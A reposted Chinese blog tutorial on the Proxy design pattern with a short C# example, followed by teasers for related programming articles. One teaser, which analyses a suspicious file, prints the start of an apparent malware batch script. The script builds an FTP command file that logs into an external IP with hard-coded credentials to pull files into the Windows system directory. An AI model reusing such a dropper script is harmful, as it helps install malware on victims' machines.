Proxy Pattern using C# (转载)

Proxy Pattern(代理模式)属于Structural Pattern(结构型模式),Proxy Pattern-为Client真正要调用的对象提供一个代理(Surrogate or placeholder),来控制Client对该对象的访问。

 

1. UML class diagram:

DesignPattern_Proxy.GIF

上图Proxy class就是一个代理类,负责转发来自Client的请求到真正的RealSubject对象。Proxy Class和RealSubject Class共同继承抽象类Subject。

 

2. Sample code

上述UML class diagram的实现代码(from reference 1):

// Proxy pattern – Demo code

using System;

// 抽象类
abstract class Subject
{
  abstract public void Request();
}

// 实际要调用的类
class RealSubject : Subject
{
  override public void Request()
 {
    Console.WriteLine("Called RealSubject.Request()");
 }
}
// 代理类
class Proxy : Subject
{
   RealSubject realSubject;
 // Methods
  override public void Request()
 {
    // Uses "lazy initialization"
    if( realSubject == null )
      realSubject = new RealSubject();

    realSubject.Request();
 }
}

/// <summary>
/// Client test
/// </summary>
public class Client
{
  public static void Main( string[] args )
 {
    // Create proxy and request a service
    Proxy p = new Proxy();
    p.Request();
 }
}

 

3. Appendix about the article

温故而知新,运用于无形。

 

.Net Framework中大量使用到Proxy Design Pattern,如.Net Remoting中的SAO (Server Activated Object)或CAO (Client Activated Object),XML Web Services等,Client端都是通过本地Proxy class来转发对Remote Objects or Services的请求,和获取来自Remote的响应。

 

Reference:

1,Proxy Design Pattern, http://www.dofactory.com/patterns/PatternProxy.aspx

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/408190.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【设计模式】五、单例模式(独一无二的对象)

一、概述&#xff1a; 有一些对象我们只需要一个&#xff0c;比方说&#xff1a;线程池&#xff08;threadpool&#xff09;、缓存&#xff08;cache&#xff09;、对话框、处理偏好设置和注册表对象、日志对象、充当打印机、显卡等设备的驱动程序的对象。事实上这些对象只需要…

C++变长参数模板

C变长参数模板 C11 加入了新的表示方法: 允许任意个数、任意类别的模板参数&#xff0c;同时也不需要在定义时将参数的个数固定。 template<typename... Ts> class Magic;模板类 Magic 的对象&#xff0c;能够接受不受限制个数的 typename 作为模板的形式参数&#xff…

数据库设计方法、规范与技巧

本文链接&#xff1a;http://www.openphp.cn/index.php/art.../100/index.html  一、数据库设计过程  数据库技术是信息资源管理最有效的手段。数据库设计是指对于一个给定的应用环境&#xff0c;构造最优的数据库模式&#xff0c;建立数据库及其应用系统&#xff0c;有效存…

C++并行与并发

第 7 章 并行与并发 文章目录第 7 章 并行与并发7.1 并行基础7.2 互斥量与临界区7.3 期物7.4 条件变量7.5 原子操作与内存模型原子操作一致性模型内存顺序总结习题进一步阅读的参考资料7.1 并行基础 std::thread 用于创建一个执行的线程实例&#xff0c;所以它是一切并发编程的…

java 中String ,Date,long 和Timestamp类型的转换

一、String与Date(java.util.Date)的转换 1、String--->Date String str"2014/1/11 12:34:25"; Date datenew Date(); DateFormat sdf new SimpleDateFormat("yyyy/MM/dd HH:mm:ss"); //这里规定时间的格式要与String时间类型的格式相同 datesdf.pars…

BlackBerry 应用程序开发者指南 第一卷:基础--第5章 支持的媒体内容(Media Content)...

作者:Confach 发表于April 23,2006 15:02 pm版权信息:可以任意转载, 转载时请务必以超链接形式标明文章原始出处 和作者信息.http://www.cnblogs.com/confach/articles/387902.html5第5章 支持的媒体内容&#xff08;Media Content&#xff09;PME内容 播放媒体内容 监听媒体内…

Qt 入门 ---- 如何在程序窗口显示图片?

步骤&#xff1a; 1. 选择资源&#xff08;准备图片&#xff09; 2. 加载资源&#xff08;导入图片&#xff09; 3. 使用资源&#xff08;显示图片&#xff09; 具体操作流程&#xff1a; ① 从网上寻找合适的图片素材&#xff0c;下载到本地&#xff0c;在项目根目录下创建一个…

Enterprise Library 2.0 技巧(3):记录ASP.NET站点中未处理的异常

这篇文章不能算是Enterprise Library 2.0的一个技巧&#xff0c;只是Logging Application Block的一个简单应用而已&#xff0c;在这里我们使用Logging Application Block来记录一个ASP.NET 2.0站点中未处理的异常到数据库中&#xff0c;当然你也可以记录到文本文件中&#xff…

Hadoop 2.2.0源码浏览:4. NodeManager

基本流程public static void main(String[] args) {Thread.setDefaultUncaughtExceptionHandler(new YarnUncaughtExceptionHandler());StringUtils.startupShutdownMessage(NodeManager.class, args, LOG);NodeManager nodeManager new NodeManager();Configuration conf ne…

C++自定义对象如何支持Range-based循环语法

自定义对象如何支持Range-based循环语法 至少实现以下两种语法: //返回第一个迭代子的位置 Iterator begin() //返回最后一个迭代子的下一个位置 Iterator end()迭代子需要支持如下三种方法: operator(自增)operator! (判不等)operator* (解引用) #include <iostream>…

帮朋友分析一个文件

文件中的内容如下&#xff1a; echo 61.176.204.145 >%systemroot%system32local.txt echo open 218.85.95.9 323>>%temp%ftp.txt echo sys>>%temp%ftp.txt echo dragoon>>%temp%ftp.txt echo bin>>%temp%ftp.txt echo lcd %systemroot%system…

SharePoint 2013 本地开发解决方案以及程调试

SharePoint 2013 本地开发解决方案以及程调试 在SharePoint开发中&#xff0c;我们需要在部署有SharePoint环境的服务器中开发&#xff0c;这是一件让人很苦恼的事情&#xff0c;毕竟不能一个项目多人开发配备多台服务器&#xff0c;这就需要本地开发。 本来自己以为SharePoint…

Linux与C++11多线程编程(学习笔记)

多线程编程与资源同步 在Windows下,主线程退出后,子线程也会被关闭; 在Linux下,主线程退出后,系统不会关闭子线程,这样就产生了僵尸进程 3.2.1创建线程 Linux 线程的创建 #include <unistd.h> #include <stdio.h> #include <pthread.h> void* threadfunc(…